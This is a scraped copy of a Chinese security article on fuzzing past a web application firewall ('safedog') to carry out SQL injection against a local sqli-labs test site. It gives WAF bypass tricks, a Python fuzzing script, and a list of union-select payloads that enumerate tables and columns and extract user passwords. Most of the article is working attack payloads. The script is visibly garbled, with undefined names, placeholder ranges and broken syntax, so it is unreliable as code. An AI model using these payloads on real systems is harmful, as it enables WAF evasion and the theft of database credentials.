

记一次Fuzz绕WAF实现SQL 注入
source link: https://www.freebuf.com/articles/web/274492.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0×00简介
本文使用自己编写的Python脚本,实现绕过某WAF限制,实现SQL注入。先解释一下Fuzz概念,Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。
0×01SQL注入绕waf常用的方法
使用大小写绕过 例如:
使用注释符/**/ #绕过
使用/!**/绕过
根据数据库特性进行绕过,例如mysql数据,使用/*!5000 union select x,x,x/
更改user-agent
.......
0×02 使用/**/结合Fuzz绕过
先组建好sql注入本地测试平台,在服务器中安装某WAF狗。 本文使用的中间件为apache和数据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。
访问搭建好的SQL注入平台.
先进行测试过程为:?id=1’ union select 1,2,3--+ 拦截 。
?id=1’ /*union */select 1,2,3--+ 拦截 。
?id=1' /*union */ 1,2,3--+ 不拦截
?id=1' union 1,2,3--+不拦截
?id=1' select 1,2,3--+不拦截
说明union和select在一起会拦截
使用/*%0a*/union/*%0a*/select/*%0a*/1,2,3--+ 拦截 PS:%0a是换行意思
那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:
From urllib import requests import time url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1' union='union' select='select' num='1,2,3' l={'%0a','%23'} ll={'S'} lll={'%0a','%23'} x='/*!' f='*/' def bypass(): for xiaofei in a:6t for xiaofeii in ll: for xiaofeiii inlll: for two in range(?,?): #?自己指定步长 urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+xiaofeii+select+xiaofei+xiaofeii+xiaofeiii+num try: result=requests.get(urls).text len_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。 if (result.find('safedog') == -1): #print('bypass url addreess:' + urls + '|' + str(len_r)) print('bypass url addreess:'+urls+'|'+str(len_r)) if len_r==715: fp = open('url.txt', 'l+') fp.write(urls + '\n') fp.close() except Exception as err: print('connecting error') time.sleep(0.1) if __name__ == '__main__': print('fuzz strat!') bypass()
0×03 测试结果
测试结果为:http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/*S%0a*/union/*x%0a*/select/*x%0a*/ 1,2,3没有被拦截。
0×04 扩展
同样利用其他方法进行爆破,下面是payload。
?id=1’ /!20000order/by 3–+ ?id=-1’ union /!00000all select/ 1,2,3–+ ?id=-1’ union /!00000all select/ 1,database/**/(),3–+ ?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+ ?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+ ?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+
本文作者:liangxiaofei, 转载请注明来自FreeBuf.COM
Recommend
-
107
批量检测SQL注入 muhe 2018-01-11 13:00:12 1417750 19
-
13
基于PHP扩展的WAF实现 lightless ·
-
21
SQL注入基本原理 WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的 ORM 规则,手拼更说方便,...
-
15
在漏洞盒子挖洞已经有一段时间了,虽说还不是大佬,但技术也有所进步,安全行业就是这样,只有自己动手去做,才能将理论的知识变为个人的经验。本篇文章打算分享一下我在挖显错型SQL注入漏洞过程中的一些个人理解,如有不足也请大佬不吝指...
-
34
注入点位置 增 - insert中 查 - where后 查 - limit注入 查 - order by注入 改 - up...
-
20
sql注入中写入webshell的几种方式 sql注入中写入webshell的几种方式 secure_file_priv="c:/…"被注释掉或者是web路径 php.ini中的get_magic_quotes_gpc()函数未开启 其中secure_...
-
11
P.S.本文整理自《sql注入天书》,部分内容摘抄自这本书,加以小修改,和一些注解,记录下自己在学习过程中遇到的坑。 关于系统数据库information_schema 所有数据库:select schema_name from information_schema.sc...
-
12
Web 安全漏洞之 SQL 注入什么是 SQL 注入“有人的地方就有江湖,有数据库存在的地方就可能存在 S...
-
8
WAF是如何实现敏感信息防泄露的 防敏感信息泄漏是Web应用防火墙针对网安法明确提出,企业运营者应当采取技术措施和其他必要措施,确保个人信息安全,防止信息泄露、毁损、丢失。 在发生或者...
-
7
WordPress Hosting...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK